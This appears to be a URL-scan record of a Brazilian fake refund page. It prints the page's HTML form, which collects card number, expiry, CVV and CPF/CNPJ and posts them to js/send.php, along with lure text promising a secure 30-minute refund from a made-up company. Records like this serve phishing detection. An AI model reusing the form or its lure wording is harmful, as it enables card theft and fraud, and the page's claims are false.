reembolso.virtualassistmanager.fun
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Form analysis
1 forms found in the DOMPOST js/send.php
<form action="js/send.php" method="POST">
<div class="input-wrapper">
<label for="name">Nome do titular</label>
<input id="name" name="name" type="text" placeholder="Nome igual ao do cartão" required="" oninput="updateCard('name', this.value)">
<label for="cc">Número do cartão</label>
<input id="cc" name="cc" type="text" placeholder="0000 0000 0000 0000" maxlength="16" required="" oninput="updateCard('number', this.value)">
<label for="val">Validade</label>
<input id="val" name="val" type="text" placeholder="MM/AA" maxlength="5" required="" oninput="validateValidity(this)">
<label for="cvv">CVV</label>
<input id="cvv" name="cvv" type="text" placeholder="CVV" maxlength="3" required="" onfocus="flipCard(true)" onblur="flipCard(false)" oninput="updateCard('cvv', this.value)">
<label for="cpf">CPF/CNPJ do titular</label>
<input id="cpf" name="cpf" type="text" placeholder="Digite somente números" required="" oninput="maskCPF_CNPJ(this)">
<span id="cpf-error" style="color: #d32f2f; display: none;">Digite um CPF ou CNPJ válido</span>
<label for="motivo">Motivo do reembolso</label>
<input id="motivo" name="motivo" type="text" placeholder="Informe o motivo do reembolso" required="">
</div>
<button type="submit">Solicitar Reembolso</button>
</form>
Text Content
Reembolso Seguro Reembolso criptografado e 100% seguro O reembolso aparecerá na sua fatura em até 30 minutos. Por favor, preencha os campos corretamente para não haver atrasos. 0000 0000 0000 0000 NOME DO TITULAR MM/AA CVV: 000 Nome do titular Número do cartão Validade CVV CPF/CNPJ do titular Digite um CPF ou CNPJ válido Motivo do reembolso Solicitar Reembolso COPYRIGHT, REEMBOLSO NETWORKS BRASIL LTDA.